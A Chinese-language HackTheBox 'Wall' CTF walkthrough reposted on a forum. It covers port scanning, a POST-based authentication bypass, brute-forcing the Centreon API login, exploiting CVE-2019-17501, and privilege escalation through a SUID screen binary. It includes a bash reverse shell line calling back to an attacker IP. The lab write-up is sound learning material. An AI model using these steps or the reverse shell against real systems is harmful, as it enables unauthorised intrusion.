搜索

[20270] 2019-12-18_Hackthebox_Wall

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-12-18_Hackthebox_Wall H a c k   t h e   b o x _ W a l l 原 创   K h a n 安 全 团 队   K h a n 安 全 攻 防 实 验 室   2 0 1 9 - 1 2 - 1 8 大 家 好 ， 今 天 给 大 家 带 来 的 C T F 挑 战 靶 机 是 来 自 h a c k t h e b o x 的 “ W a l l ” ， h a c k t h e b o x 是 一 个 非 常 不 错 的 在 线 实 验 平 台 ， 能 帮 助 你 提 升 渗 透 测 试 技 能 和 黑 盒 测 试 技 能 ， 平 台 上 有 很 多 靶 机 ， 从 易 到 难 ， 各 个 级 别 的 靶 机 都 有 。 本 级 靶 机 难 度 为 简 单 级 别 ， 任 务 是 找 到 靶 机 上 的 u s e r . t x t 和 r o o t . t x t 。 信 息 枚 举 信 息 枚 举 m a s s c a n 扫 描 开 放 端 口   n m a p 探 测 2 2 ， 8 0 端 口 的 服 务 信 息 ， 发 现 被 过 滤 了     利 用 g o b u s t e r 扫 描 w e b - > g o b u s t e r   d i r   - w   / u s r / s h a r e / w o r d l i s t s / d i r b / c o m m o n . t x t   - u   h t t p : / / 1 0 . 1 0 . 1 0 . 1 5 7 - > / . h t a   ( S t a t u s :   4 0 3 ) - > / . h t p a s s w d   ( S t a t u s :   4 0 3 ) - > / . h t a c c e s s   ( S t a t u s :   4 0 3 ) - > / i n d e x . h t m l   ( S t a t u s :   2 0 0 ) - > / m o n i t o r i n g   ( S t a t u s :   4 0 1 )
- > / s e r v e r - s t a t u s   ( S t a t u s :   4 0 3 )   只 有 m o n i t o r i n g 有 点 用 ， 不 过 m o n i t o r i n g 需 要 认 证 才 能 登 录 发 现 只 要 把 访 问 方 式 改 为 P O S T 就 能 绕 过 认 证 进 去 发 现 这 是 一 个 c e n t r e o n 系 统 （ C e n t r e o n 是 一 个 网 络 ， 系 统 ， 应 用 程 序 监 督 和 监 视 工 具 ） 登 陆 处 有 一 个 c s r f 令 牌 验 证 ， 每 次 访 问 都 会 更 改   在 官 网 中 得 知 ， 我 们 访 问 / a p i / i n d e x . p h p ? a c t i o n = a u t h e n t i c a t e ， 并 且 提 供 登 录 登 录 信 息 ， 将 可 以 绕 过 令 牌 校 验 ， 从 而 达 到 爆 破 目 的   我 们 使 用 S e c l i s t 字 典 进 行 爆 破 密 码 为   p a s s w o r d 1   我 们 发 现 了 系 统 版 本 为 1 9 . 0 4 . 0  
低 权 限 低 权 限 s h e l l 该 系 统 存 在 C V E - 2 0 1 9 - 1 3 0 2 4 漏 洞 ， 不 过 当 我 使 用 p o c 尝 试 攻 击 时 ， 发 现 p o c 用 不 了 ， p a y l o a d 有 一 个 过 滤 处 响 应 4 0 3   后 来 我 发 现 了 C V E - 2 0 1 9 - 1 7 5 0 1 ， 这 个 要 简 单 一 点 在 h t t p : / / 1 0 . 1 0 . 1 0 . 1 5 7 / c e n t r e o n / m a i n . p h p ? p = 6 0 8 0 7 & o = a & t y p e = 4 中 写 入 b a s h 并 用 S i m p l e H T T P S e r v e r 上 传 自 己 的 w e b s h e l l w e b s h e l l 如 下 - > # ! / b i n / b a s h   - > b a s h   - i   > &   / d e v / t c p / 1 0 . 1 0 . x x . x x / x x x x   0 > & 1   再 次 写 入 b a s h 命 令 获 得 反 向 连 接 s h e l l - > b a s h   / t m p / n 0 0 b . s h 并 且 获 得 T T Y 终 端  
  权 限 提 升 权 限 提 升 在 使 用 自 动 化 脚 本 枚 举 系 统 信 息 中 发 现 系 统 中 有 一 个 不 常 见 的 s u i d 二 进 制 文 件 ： / b i n / s c r e e n - 4 . 5 . 0   使 用 p o c 获 得 r o o t 权 限   最 后 我 们 得 到 了 u s e r . t x t 、 r o o t . t x t 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                             -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理